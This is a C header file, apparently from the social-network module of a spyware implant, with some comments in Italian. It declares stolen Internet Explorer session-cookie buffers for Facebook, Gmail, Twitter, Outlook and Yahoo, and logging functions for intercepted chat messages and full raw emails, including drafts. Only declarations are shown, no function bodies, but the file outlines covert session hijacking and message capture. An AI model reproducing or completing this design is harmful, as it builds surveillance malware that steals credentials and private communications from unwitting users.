Social/SocialMain.h
#define SOCIAL_ENTRY_COUNT 8
#define SOCIAL_REQUEST_SUCCESS 0
#define SOCIAL_REQUEST_BAD_COOKIE 1
#define SOCIAL_REQUEST_NETWORK_PROBLEM 2
typedef unsigned long (*social_handler)(char *);
typedef struct {
WCHAR domain[64];
DWORD idle;
BOOL wait_cookie;
BOOL is_new_cookie;
social_handler RequestHandler;
} social_entry_struct;
#define FACEBOOK_DOMAIN L"facebook.com"
#define GMAIL_DOMAIN L"mail.google.com"
#define TWITTER_DOMAIN L"twitter.com"
#define OUTLOOK_DOMAIN L"live.com"
#define YAHOO_DOMAIN L"yahoo.com"
#define FACEBOOK_DOMAINA "facebook.com"
#define GMAIL_DOMAINA "mail.google.com"
#define TWITTER_DOMAINA "twitter.com"
#define OUTLOOK_DOMAINA "live.com"
#define YAHOO_DOMAINA "yahoo.com"
#define MAPI_V3_0_PROTO 2012030601
#pragma pack(4)
struct MailSerializedMessageHeader {
DWORD VersionFlags; // flags for parsing serialized message
#define MAIL_FULL_BODY 0x00000001 // Ha catturato tutta la mail
#define MAIL_INCOMING 0x00000010
#define MAIL_OUTGOING 0x00000000
#define MAIL_DRAFT 0x00000100
DWORD Flags; // message flags
DWORD Size; // message size
FILETIME date; // data di ricezione approssimativa del messaggio
#define MAIL_GMAIL 0x00000000
#define MAIL_OUTLOOK 0x00000004
#define MAIL_YAHOO 0x00000006
DWORD Program;
};
#pragma pack()
extern social_entry_struct social_entry[SOCIAL_ENTRY_COUNT];
extern void urldecode(char *src);
extern void JsonDecode(char *string);
extern void CheckProcessStatus();
extern void LogSocialIMMessageA(DWORD program, char *peers, char *peers_id, char *author, char *author_id, char *body, struct tm *tstamp, BOOL is_incoming);
extern void LogSocialIMMessageW(DWORD program, WCHAR *peers, WCHAR *peers_id, WCHAR *author, WCHAR *author_id, WCHAR *body, struct tm *tstamp, BOOL is_incoming);
extern void LogSocialMailMessage(DWORD program, char *from, char *rcpt, char *cc, char *subject, char *body, BOOL is_incoming);
extern void LogSocialMailMessageFull(DWORD program, BYTE *raw_mail, DWORD size, BOOL is_incoming, BOOL is_draft);
extern char FACEBOOK_IE_COOKIE[1024];
extern char GMAIL_IE_COOKIE[1024];
extern char TWITTER_IE_COOKIE[1024];
extern char OUTLOOK_IE_COOKIE[1024];
extern char YAHOO_IE_COOKIE[1024];
#define CHAT_PROGRAM_FACEBOOK 0x02
#define CHAT_PROGRAM_TWITTER 0x03
#define CHAT_PROGRAM_YAHOO 0x0F